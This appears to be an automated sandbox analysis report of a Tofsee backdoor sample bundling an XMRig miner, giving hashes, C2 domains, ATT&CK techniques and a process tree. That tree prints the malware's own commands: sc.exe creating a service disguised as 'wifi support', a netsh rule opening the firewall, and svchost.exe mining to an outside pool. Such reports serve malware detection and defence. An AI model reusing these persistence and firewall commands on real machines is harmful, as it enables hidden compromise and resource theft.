Analysis

  • max time kernel
    147s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    15-05-2023 19:16

General

  • Target

    file.exe

  • Size

    234KB

  • MD5

    f8df432779abcda0e118d44dc6dde5c7

  • SHA1

    2574314f96737d4a909246b06f6d0904b1b0e6f6

  • SHA256

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2

  • SHA512

    43974649ae90e164b8a17288c8c8b249dcdbac0a0c4fc9cdac70edbea455f880be7642e03c33e882e3a0bfaeccca46636398a604867451be52e059fc5fb1e75f

  • SSDEEP

    3072:5fPQrqA+LychM1+ziXtcsM/RHbyp+EpsVNg0cqF2Oq5pqIyYnAZ81MZ:mE1MOYcb/jxBUOqptZnAa1MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rqqcbtwn\
      2⤵
        PID:1616
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qcsftsko.exe" C:\Windows\SysWOW64\rqqcbtwn\
        2⤵
          PID:660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rqqcbtwn binPath= "C:\Windows\SysWOW64\rqqcbtwn\qcsftsko.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rqqcbtwn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rqqcbtwn
          2⤵
          • Launches sc.exe
          PID:1496
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:532
      • C:\Windows\SysWOW64\rqqcbtwn\qcsftsko.exe
        C:\Windows\SysWOW64\rqqcbtwn\qcsftsko.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1152
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:544

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\qcsftsko.exe
        Filesize

        11.7MB

        MD5

        8c7cb1da030a7ee81531d49d3e4f392b

        SHA1

        1dd79b9de646db1751293d537717df6065f5d2b1

        SHA256

        a3141fa701e9ff2b322cb2c67b8deee649523f25d367da41cd4783e9be5b50de

        SHA512

        76fb739f3293f7e15f8783516a35cb9782d47b7552661c97a57ea69a240db9a5f5e1fae9cf5207dec5bce6a80c239c490382fecc50c5069a46bc059c55c91a28

      • C:\Windows\SysWOW64\rqqcbtwn\qcsftsko.exe
        Filesize

        11.7MB

        MD5

        8c7cb1da030a7ee81531d49d3e4f392b

        SHA1

        1dd79b9de646db1751293d537717df6065f5d2b1

        SHA256

        a3141fa701e9ff2b322cb2c67b8deee649523f25d367da41cd4783e9be5b50de

        SHA512

        76fb739f3293f7e15f8783516a35cb9782d47b7552661c97a57ea69a240db9a5f5e1fae9cf5207dec5bce6a80c239c490382fecc50c5069a46bc059c55c91a28

      • memory/316-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/316-59-0x0000000000400000-0x00000000006B8000-memory.dmp
        Filesize

        2.7MB

      • memory/544-122-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-123-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-124-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-120-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-119-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-121-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/544-112-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/544-111-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/1152-88-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-96-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-81-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-82-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-83-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-84-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-85-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-86-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-87-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-75-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/1152-89-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-90-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-91-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-92-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-93-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-94-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-95-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-78-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-97-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1152-98-0x0000000000170000-0x0000000000175000-memory.dmp
        Filesize

        20KB

      • memory/1152-101-0x0000000000170000-0x0000000000175000-memory.dmp
        Filesize

        20KB

      • memory/1152-102-0x00000000054D0000-0x00000000058DB000-memory.dmp
        Filesize

        4.0MB

      • memory/1152-105-0x00000000054D0000-0x00000000058DB000-memory.dmp
        Filesize

        4.0MB

      • memory/1152-106-0x00000000002A0000-0x00000000002A7000-memory.dmp
        Filesize

        28KB

      • memory/1152-110-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-74-0x00000000019F0000-0x0000000001BFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1152-71-0x00000000019F0000-0x0000000001BFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1152-69-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-68-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-67-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-61-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-63-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1152-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1812-64-0x0000000000400000-0x00000000006B8000-memory.dmp
        Filesize

        2.7MB